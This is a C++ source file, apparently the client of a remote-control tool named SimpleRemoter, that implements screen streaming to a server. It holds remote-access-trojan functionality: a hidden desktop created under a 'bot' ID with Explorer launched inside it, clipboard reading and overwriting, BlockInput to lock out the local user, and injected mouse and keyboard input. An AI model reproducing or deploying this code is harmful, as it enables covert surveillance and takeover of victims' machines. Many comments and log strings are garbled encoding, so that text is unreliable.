SimpleRemoter/client/ScreenManager.cpp

// ScreenManager.cpp: implementation of the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "ScreenManager.h"
#include "Common.h"
#include <IOSTREAM>
#if _MSC_VER <= 1200
#include <Winable.h>
#else
#include <WinUser.h>
#endif
#include <time.h>

#include "ScreenSpy.h"
#include "ScreenCapturerDXGI.h"
#include <Shlwapi.h>
#include <shlobj_core.h>

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

#define WM_MOUSEWHEEL 0x020A
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))

bool IsWindows8orHigher() {
	typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
	HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
	if (!hMod) return false;

	RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
	if (!rtlGetVersion) return false;

	RTL_OSVERSIONINFOW rovi = { 0 };
	rovi.dwOSVersionInfoSize = sizeof(rovi);
	if (rtlGetVersion(&rovi) == 0) {
		return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
	}
	return false;
}

CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
	m_bIsWorking = TRUE;
	m_bIsBlockInput = FALSE;
	g_hDesk = nullptr;
	m_DesktopID = GetBotId();
	m_ScreenSpyObject = nullptr;
	m_ptrUser = (INT_PTR)user;

	m_point = {};
	m_lastPoint = {};
	m_lmouseDown = FALSE;
	m_hResMoveWindow = nullptr;
	m_resMoveType = 0;
	m_rmouseDown = FALSE;
	m_rclickPoint = {};
	m_rclickWnd = nullptr;

	m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
}


std::wstring ConvertToWString(const std::string& multiByteStr) {
	int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
	if (len == 0) return L""; // ת<><D7AA>ʧ<EFBFBD><CAA7>

	std::wstring wideStr(len, L'\0');
	MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);

	return wideStr;
}

bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
	bool bReturn = false;

	try {
		if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
			return false;

		TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
		TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };

		strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);

		std::wstring path = ConvertToWString(pszApplicationFilePath);
		if (!PathIsExe(path.c_str()))
			return false;
		PathRemoveFileSpec(szDirectoryName);
		STARTUPINFO sInfo = { 0 };
		PROCESS_INFORMATION pInfo = { 0 };

		sInfo.cb = sizeof(sInfo);
		sInfo.lpDesktop = pszDesktopName;

		//Launching a application into desktop
		BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
			NULL,
			NULL,
			NULL,
			TRUE,
			NORMAL_PRIORITY_CLASS,
			NULL,
			szDirectoryName,
			&sInfo,
			&pInfo);
		CloseHandle(pInfo.hProcess);
		CloseHandle(pInfo.hThread);
		TCHAR* pszError = NULL;
		FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
			NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);

		if (pszError) {
			Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
			LocalFree(pszError);  // <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
		}

		if (bCreateProcessReturn)
			bReturn = true;

	}
	catch (...) {
		bReturn = false;
	}

	return bReturn;
}

void CScreenManager::InitScreenSpy() {
	int DXGI = USING_GDI;
	BYTE algo = ALGORITHM_DIFF;
	BYTE* user = (BYTE*)m_ptrUser;
	BOOL all = FALSE;
	if (!(user == NULL || ((int)user) == 1)) {
		UserParam* param = (UserParam*)user;
		if (param) {
			DXGI = param->buffer[0];
			algo = param->length > 1 ? param->buffer[1] : algo;
			all = param->length > 2 ? param->buffer[2] : all;
			delete param;
		}
	}
	else {
		DXGI = (int)user;
	}
	Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
	if (DXGI == USING_VIRTUAL) {
		HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
		if (!hDesk) {
			if (hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL)) {
				Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
				TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
				GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
				strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
				if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
					Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>[%s]!!!\n", m_DesktopID.c_str());
				}
			}
			else {
				Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļʧ<EFBFBD><EFBFBD>: %s\n", m_DesktopID.c_str());
			}
		}
		else {
			Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD>ɹ<EFBFBD>: %s\n", m_DesktopID.c_str());
		}
		if (hDesk) {
			SetThreadDesktop(g_hDesk = hDesk);
		}
	}

	if ((USING_DXGI == DXGI && IsWindows8orHigher()))
	{
		auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all);
		if (s->IsInitSucceed()) {
			m_ScreenSpyObject = s;
		}
		else {
			SAFE_DELETE(s);
			m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all);
			Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
		}
	}
	else
	{
		m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all);
	}
}

DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{
	CScreenManager *This = (CScreenManager *)lParam;

	This->InitScreenSpy();

	This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ

	// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
	This->WaitForDialogOpen();   

	clock_t last = clock();
	This->SendFirstScreen();
#if USING_ZLIB
	const int fps = 8;// ֡<><D6A1>
#elif USING_LZ4
	const int fps = 8;// ֡<><D6A1>
#else
	const int fps = 8;// ֡<><D6A1>
#endif
	const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
	int c1 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>
	int c2 = 0; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>̵Ĵ<CCB5><C4B4><EFBFBD>
	float s0 = sleep; // <20><>֮֡<D6A1><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ms<6D><73>
	const int frames = fps;	// ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
	const float alpha = 1.03; // <20><><EFBFBD><EFBFBD>fps<70><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
	timeBeginPeriod(1);
	while (This->m_bIsWorking)
	{
		ULONG ulNextSendLength = 0;
		const char*	szBuffer = This->GetNextScreen(ulNextSendLength);
		if (szBuffer)
		{
			s0 = max(s0, 50); // <20><><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF>20֡
			s0 = min(s0, 1000);
			int span = s0-(clock() - last);
			Sleep(span > 0 ? span : 1);
			if (span < 0) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD>ϳ<EFBFBD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ϶<DDBD>
			{
				c2 = 0;
				if (frames == ++c1) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
					s0 = (s0 <= sleep*4) ? s0*alpha : s0;
					c1 = 0;
#ifdef _DEBUG
					Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
				}
			} else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
				c1 = 0;
				if (frames == ++c2) { // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
					s0 = (s0 >= sleep/4) ? s0/alpha : s0;
					c2 = 0;
#ifdef _DEBUG
					Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
				}
			}
			last = clock();
			This->SendNextScreen(szBuffer, ulNextSendLength);
		}
	}
	timeEndPeriod(1);
	Mprintf("ScreenWorkThread Exit\n");

	return 0;
}

VOID CScreenManager::SendBitMapInfo()
{
	//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D>ṹ<EFBFBD>Ĵ<EFBFBD>С
	const ULONG   ulLength = 1 + sizeof(BITMAPINFOHEADER);
	LPBYTE	szBuffer = (LPBYTE)VirtualAlloc(NULL, 
		ulLength, MEM_COMMIT, PAGE_READWRITE);
	if (szBuffer == NULL)
		return;
	szBuffer[0] = TOKEN_BITMAPINFO;
	//<2F><><EFBFBD>ｫbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
	memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
	m_ClientObject->Send2Server((char*)szBuffer, ulLength);
	VirtualFree(szBuffer, 0, MEM_RELEASE);
}

CScreenManager::~CScreenManager()
{
	Mprintf("ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");

	m_bIsWorking = FALSE;

	WaitForSingleObject(m_hWorkThread, INFINITE);  
	if (m_hWorkThread!=NULL)
	{
		CloseHandle(m_hWorkThread);
	}

	delete m_ScreenSpyObject;
	m_ScreenSpyObject = NULL;
}

VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
	switch(szBuffer[0])
	{
	case COMMAND_NEXT:
		{
			NotifyDialogIsOpen();  
			break;
		}
	case COMMAND_SCREEN_CONTROL:
		{
			BlockInput(false);
			ProcessCommand(szBuffer + 1, ulLength - 1);
			BlockInput(m_bIsBlockInput);  //<2F>ٻָ<D9BB><D6B8><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

			break;
		}
	case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread<61><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
		{
			m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD>

			BlockInput(m_bIsBlockInput);

			break;
		}
	case COMMAND_SCREEN_GET_CLIPBOARD:
		{
			SendClientClipboard();
			break;
		}
	case COMMAND_SCREEN_SET_CLIPBOARD:
		{
			UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
			break;
		}
	}
}


VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
{
	if (!::OpenClipboard(NULL))
		return;	
	::EmptyClipboard();
	HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength);
	if (hGlobal != NULL) { 

		LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal); 
		if (szClipboardVirtualAddress == NULL)
			return;
		memcpy(szClipboardVirtualAddress, szBuffer, ulLength); 
		GlobalUnlock(hGlobal);         
		if(NULL==SetClipboardData(CF_TEXT, hGlobal))
			GlobalFree(hGlobal);
	}
	CloseClipboard();
}

VOID CScreenManager::SendClientClipboard()
{
	if (!::OpenClipboard(NULL))  //<2F>򿪼<EFBFBD><F2BFAABC>а<EFBFBD><D0B0>豸
		return;
	HGLOBAL hGlobal = GetClipboardData(CF_TEXT);   //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ڴ<EFBFBD>
	if (hGlobal == NULL)
	{
		::CloseClipboard();
		return;
	}
	size_t	  iPacketLength = GlobalSize(hGlobal) + 1;
	char*   szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //<2F><><EFBFBD><EFBFBD> 
	LPBYTE	szBuffer = new BYTE[iPacketLength];


	szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
	memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
	::GlobalUnlock(hGlobal); 
	::CloseClipboard();
	m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
	delete[] szBuffer;
}


VOID CScreenManager::SendFirstScreen()
{
	ULONG ulFirstSendLength = 0;
	LPVOID	FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength);
	if (ulFirstSendLength == 0 || FirstScreenData == NULL)
	{
		return;
	}

	m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1);
}

const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
{
	LPVOID	NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);

	if (ulNextSendLength == 0 || NextScreenData == NULL)
	{
		return NULL;
	}

	return (char*)NextScreenData;
}

VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
{
	m_ClientObject->Send2Server(szBuffer, ulNextSendLength);
}

std::string GetTitle(HWND hWnd) {
	char title[256]; // Ԥ<><D4A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
	GetWindowTextA(hWnd, title, sizeof(title));
	return title;
}

VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{
	int msgSize = sizeof(MSG64);
	if (ulLength % 28 == 0)         // 32λ<32><CEBB><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
		msgSize = 28;
	else if (ulLength % 48 == 0)    // 64λ<34><CEBB><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
		msgSize = 48;
	else return;                    // <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>

	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
	ULONG	ulMsgCount = ulLength / msgSize;

	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
	BYTE* ptr = szBuffer;
	MSG32 msg32;
	MSG64 msg64;
	if (g_hDesk) {
		HWND  hWnd = NULL;
		BOOL  mouseMsg = FALSE;
		POINT lastPointCopy = {};
		SetThreadDesktop(g_hDesk);
		for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
			MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
				(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
			switch (msg->message) {
			case WM_KEYUP:
				return;
			case WM_CHAR:

			case WM_KEYDOWN: {
				m_point = m_lastPoint;
				hWnd = WindowFromPoint(m_point);
				break;
			}
			case WM_RBUTTONDOWN: {
				// <20><>¼<EFBFBD>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
				m_rmouseDown = TRUE;
				m_rclickPoint = msg->pt;
				break;
			}
			case WM_RBUTTONUP: {
				m_rmouseDown = FALSE;
				m_rclickWnd = WindowFromPoint(m_rclickPoint);
				// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊϵͳ<CFB5>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
				char szClass[256];
				GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
				Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
				if (strcmp(szClass, "Shell_TrayWnd") == 0) {
					// <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>Ҽ<EFBFBD><D2BC>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
					PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
						MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
				}
				else {
					// <20><>ͨ<EFBFBD><CDA8><EFBFBD>ڵ<EFBFBD><DAB5>Ҽ<EFBFBD><D2BC>˵<EFBFBD>
					if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
						MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
						// <20><><EFBFBD>ӣ<EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD>̰<EFBFBD><CCB0><EFBFBD>Shift+F10<31><30><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>
						keybd_event(VK_SHIFT, 0, 0, 0);
						keybd_event(VK_F10, 0, 0, 0);
						keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
						keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
					}
				}
				break;
			}
			default:
			{
				mouseMsg = TRUE;
				m_point = msg->pt;
				hWnd = WindowFromPoint(m_point);
				lastPointCopy = m_lastPoint;
				m_lastPoint = m_point;
				if (msg->message == WM_LBUTTONUP) {
					if (m_rclickWnd && hWnd != m_rclickWnd)
					{
						PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
						PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
						m_rclickWnd = nullptr;
					}
					m_lmouseDown = FALSE;
					LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
					switch (lResult) {
					case HTTRANSPARENT: {
						SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
						lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
						break;
					}
					case HTCLOSE: {// <20>رմ<D8B1><D5B4><EFBFBD>
						PostMessageA(hWnd, WM_CLOSE, 0, 0);
						Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
						break;
					}
					case HTMINBUTTON: {// <20><>С<EFBFBD><D0A1>
						PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
						Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
						break;
					}
					case HTMAXBUTTON: {// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
						WINDOWPLACEMENT windowPlacement;
						windowPlacement.length = sizeof(windowPlacement);
						GetWindowPlacement(hWnd, &windowPlacement);
						if (windowPlacement.flags & SW_SHOWMAXIMIZED)
							PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
						else
							PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
						Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
						break;
					}
					}
				}
				else if (msg->message == WM_LBUTTONDOWN) {
					m_lmouseDown = TRUE;
					m_hResMoveWindow = NULL;
					RECT startButtonRect;
					HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
					GetWindowRect(hStartButton, &startButtonRect);
					if (PtInRect(&startButtonRect, m_point)) {
						PostMessageA(hStartButton, BM_CLICK, 0, 0); // ģ<>⿪ʼ<E2BFAA><CABC>ť<EFBFBD><C5A5><EFBFBD><EFBFBD>
						continue;
					}
					else {
						char windowClass[MAX_PATH] = { 0 };
						RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
						if (!lstrcmpA(windowClass, "#32768")) {
							HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
							int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
							int itemId = GetMenuItemID(hMenu, itemPos);
							PostMessageA(hWnd, 0x1e5, itemPos, 0);
							PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
							continue;
						}
					}
				}
				else if (msg->message == WM_MOUSEMOVE) {
					if (!m_lmouseDown)
						continue;
					if (!m_hResMoveWindow)
						m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
					else
						hWnd = m_hResMoveWindow;
					int moveX = lastPointCopy.x - m_point.x;
					int moveY = lastPointCopy.y - m_point.y;

					RECT rect;
					GetWindowRect(hWnd, &rect);
					int x = rect.left;
					int y = rect.top;
					int width = rect.right - rect.left;
					int height = rect.bottom - rect.top;
					switch (m_resMoveType) {
					case HTCAPTION: {
						x -= moveX;
						y -= moveY;
						break;
					}
					case HTTOP: {
						y -= moveY;
						height += moveY;
						break;
					}
					case HTBOTTOM: {
						height -= moveY;
						break;
					}
					case HTLEFT: {
						x -= moveX;
						width += moveX;
						break;
					}
					case HTRIGHT: {
						width -= moveX;
						break;
					}
					case HTTOPLEFT: {
						y -= moveY;
						height += moveY;
						x -= moveX;
						width += moveX;
						break;
					}
					case HTTOPRIGHT: {
						y -= moveY;
						height += moveY;
						width -= moveX;
						break;
					}
					case HTBOTTOMLEFT: {
						height -= moveY;
						x -= moveX;
						width += moveX;
						break;
					}
					case HTBOTTOMRIGHT: {
						height -= moveY;
						width -= moveX;
						break;
					}
					default:
						continue;
					}
					MoveWindow(hWnd, x, y, width, height, FALSE);
					m_hResMoveWindow = hWnd;
					continue;
				}
				break;
			}
			}
			for (HWND currHwnd = hWnd;;) {
				hWnd = currHwnd;
				ScreenToClient(currHwnd, &m_point);
				currHwnd = ChildWindowFromPoint(currHwnd, m_point);
				if (!currHwnd || currHwnd == hWnd)
					break;
			}
			if (mouseMsg)
				msg->lParam = MAKELPARAM(m_point.x, m_point.y);
			PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
		}
		return;
	}
	for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize)
	{
		MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :
			(MSG64*)msg64.Create(msg32.Create(ptr, msgSize));
		switch (Msg->message)
		{
		case WM_LBUTTONDOWN: case WM_LBUTTONUP: case WM_RBUTTONDOWN: case WM_RBUTTONUP:
		case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDOWN: case WM_MBUTTONUP:
		case WM_MOUSEMOVE:
			{
				POINT Point;
				Point.x = LOWORD(Msg->lParam);
				Point.y = HIWORD(Msg->lParam);
				m_ScreenSpyObject->PointConversion(Point);
				BOOL b = SetCursorPos(Point.x, Point.y);
				if (!b) {
					SetForegroundWindow(GetDesktopWindow());
					ReleaseCapture();
					return;
				}
			}
			break;
		default:
			break;
		}

		switch(Msg->message)   //<2F>˿ڷ<CBBF><DAB7>ӿ<EFBFBD><D3BF>ݷ<EFBFBD>
		{
		case WM_LBUTTONDOWN:
			mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
			break;
		case WM_LBUTTONUP:
			mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
			break;
		case WM_RBUTTONDOWN:
			mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
			break;
		case WM_RBUTTONUP:
			mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
			break;
		case WM_LBUTTONDBLCLK:
			mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
			mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
			break;
		case WM_RBUTTONDBLCLK:
			mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
			mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
			break;
		case WM_MBUTTONDOWN:
			mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
			break;
		case WM_MBUTTONUP:
			mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
			break;
		case WM_MOUSEWHEEL:
			mouse_event(MOUSEEVENTF_WHEEL, 0, 0, 
				GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
			break;
		case WM_KEYDOWN:
		case WM_SYSKEYDOWN:
			keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), 0, 0);
			break;
		case WM_KEYUP:
		case WM_SYSKEYUP:
			keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
			break;
		default:
			break;
		}
	}
}